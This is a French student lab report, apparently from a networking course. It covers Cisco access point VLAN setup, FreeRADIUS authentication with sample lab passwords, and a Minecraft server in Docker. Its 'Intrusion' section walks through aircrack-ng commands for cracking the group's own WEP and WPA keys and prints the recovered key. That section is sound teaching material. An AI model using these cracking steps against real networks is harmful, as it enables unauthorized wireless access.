SE2A5-AP1(config-subif)#exit
SE2A5-AP1(config)#interface g0.20
SE2A5-AP1(config-subif)#encapsulation dot1q 20
SE2A5-AP1(config-subif)#bridge-group 20
SE2A5-AP1(config-subif)#exit
SE2A5-AP1(config)#interface dot11radio 0
SE2A5-AP2(config-if)#no shutdown
SE2A5-AP1(config-if)#encryption vlan 20 mode ciphers aes-ccm tkip
SE2A5-AP1(config-if)#mbssid
SE2A5-AP1(config-if)#ssid SE2A5_1
SE2A5-AP1(config-if)#exit

Paramètres de minicom

Serial Device : /dev/ttyACM0

VLAN n°1 :

SE2A5-AP1(config)#interface BVI 1
SE2A5-AP1(config-if)#ip address 10.0.0.10 255.255.255.0
SE2A5-AP1(config-if)#no shutdown
SE2A5-AP1(config-if)#exit
SE2A5-AP1(config)#ip default-gateway 10.0.0.1

Configuration du serveur RADIUS

Le serveur RADIUS permet l’authentification des utilisateurs qui se connectent aux points d’accès Wifi (WPA-EAP).

  • Installer le paquet freeradius :
apt install freeradius
  • Modifier le fichier /etc/freeradius/clients.conf :
client SE2A51 {
        ipaddr  = 10.0.0.10
        secret  = glopglop
}
}
  • Ajouter un utilisateur en modifiant le fichier /etc/freeradius/3.0/users :
pifou Cleartext-Password := "pasglop"
  • Modifier le fichier /etc/freeradius/3.0/mods-enables/eap :
eap {
  default_eap_type = peap
  ...
}
  • Arrêter le service freeradius durant la phase de tests :
service freeradius stop
  • Démarrer freeradius en mode debug :
freeradius -X

Pendant que freeradius est en mode debug, tenter de se connecter au réseau Wifi qui a été créé et vérifier que celle-ci est prise en compte.
Freeradius X.png



On peut également voir la connexion de l'appareil sur minicom

Connexion minicom.png

Si la connexion est validée alors la configuration est correcte. Dans ce cas, arrêter le programme de debug et réactiver le service.

  • Redémarrer le service freeradius :
service freeradius start

Intrusion

WEP

Pour casser une clé WEP il nous faut le logiciel Aircrack:

apt-get install aircrack-ng

Il faut tout d'abord se mettre sur la bonne interface ethernet:

airmon-ng start wlan0mon

On se met ensuite en écoute sur ce réseau en indiquant le cryptage (WEP)

airodump-ng --encrypt wep wlan0mon

On recupere ensuite l'ESSID et le BSSID correspondant a notre groupe (Groupe 1)

(Ne pas juger la qualité du photographe) WEP Liste.jpg

On s'identifie

aireplay-ng -9 -e cracotte01 -a 04:DA:D2:9C:50:50 wlan0mon

Nous recuperons ensuite les VI que l'on stock dans un fichier qui nous permettera de casser la clé :

airodump-ng -c 4 --bssid 04:DA:D2:9C:50:50 -w output wlan0mon

Nous procédons maintenant a la fausse identification: 

aireplay-ng -1 0 -e cracotte01 -a 04:DA:D2:9C:50:50 -h 40:A5:EF:01:21:80 wlan0mon

Il ne reste plus qu'a lancer le crack de la clé

aircrack-ng -b 04:DA:D2:9C:50:50 output*.cap


Resultat:

CléWEP.jpeg


WPA

Nous allons utiliser le même logiciel que pour WEP (aircrack)

Pour recuperer la clé WPA, il faut attendre un handshake de krakote01

airodump-ng wlx40a5efd2140c --essid kracotte01 -c 4 -w /tmp/wpa

Une fois le handshake recuperer nous allons generer un dictionvaire de mot de passe (ici une combinaison de 8 chiffres)

crunch 8 8 0123456789 -o password.lst

Il nous reste plus qu'a utiliser aircrack comme ceci

aircrack-ng -w password.lst wpa02.cap

Il faut desormais être patient et attendre 5h40 pour essayer tout le dictionnaire.

Un essaie en subdivisant a été fait mais sans resultat dans le temp imparti

Après 4 heures 1 minutes et 29 seconde nous avons la clé:

66699666

WPA crack.png

MINECRAFT

Nous allons installer un serveur minecraft sur notre VM

Pour cela nous allons avoir besoin de DOCKER

apt-get install docker

Une fois l'installation faite nous devons prendre une image de serveur minecraft:

docker run -d -it -p 25565:25565 -e EULA=TRUE itzg/minecraft-server

Cette image vient du github: https://github.com/itzg/docker-minecraft-server

Nous mettons le port 25565 car c'est le port utilisé par minecraft

Une fois cela fait nous pouvons visualiser les docker activité

docker ps 


Docker minecraft.png


Connexion

Pour se connecter il suffit d'avoir un minecraft et de renseigner l'IP du serveur

Minecraft pc.png



Le problème avec ce serveur minecraft est sa gourmandise en memoire. En effet, celui-ci plante lorsqu'il y a trop de redstone sur le serveur ou qu'il y a une trop grosse explosion de TNT.

Cela doit être dû (pour la TNT) a un trop gros changement de map et besoin d'affichage qui nécessite trop de mémoire vive.

Pour la redstone, étant donné que nous avons essayé de recréer des portes logique, cela devait trop "consommer"